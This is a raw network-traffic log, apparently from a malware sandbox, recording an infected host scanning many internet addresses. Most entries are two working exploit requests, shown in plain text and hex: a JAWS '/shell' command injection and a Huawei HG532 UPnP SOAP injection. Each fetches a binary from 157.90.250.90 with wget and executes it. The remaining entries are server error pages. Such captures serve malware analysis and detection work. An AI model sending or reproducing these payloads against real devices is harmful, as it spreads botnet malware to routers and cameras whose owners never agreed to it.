Jan 2, 2024 06:24:33.143791914 CET	427	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:33 GMT Server: Apache Vary: Accept-Encoding Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.23	43368	47.96.31.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:32.931560993 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.23	58566	138.118.173.132	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:33.144309044 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:33.406930923 CET	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.3 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:33 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.23	50398	61.220.62.145	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:33.218082905 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:33.504822016 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:33 GMT Date: Tue, 02 Jan 2024 05:24:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 31 33 65 64 63 33 64 26 23 34 36 3b 31 37 30 34 31 37 33 30 37 33 26 23 34 36 3b 31 64 36 61 35 62 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.913edc3d.1704173073.1d6a5bc</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.23	60496	155.159.137.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:33.306233883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:33.632405996 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:33 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.23	44830	23.218.15.43	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:34.799252987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:34.944009066 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:34 GMT Date: Tue, 02 Jan 2024 05:24:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 38 61 61 33 37 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 37 34 26 23 34 36 3b 35 33 34 64 33 65 32 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.88aa3717.1704173074.534d3e2c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.23	40366	104.25.137.95	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:34.920244932 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.23	57290	146.126.59.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:34.936316967 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:35.659712076 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:36.491703033 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:38.155378103 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.610892057 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:48.265995026 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.576090097 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:29.732106924 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.23	49620	51.17.132.47	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:34.942337990 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.23	53884	156.235.102.234	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:34.990700006 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:39.051261902 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:45.194391966 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:57.224721909 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:21.541276932 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 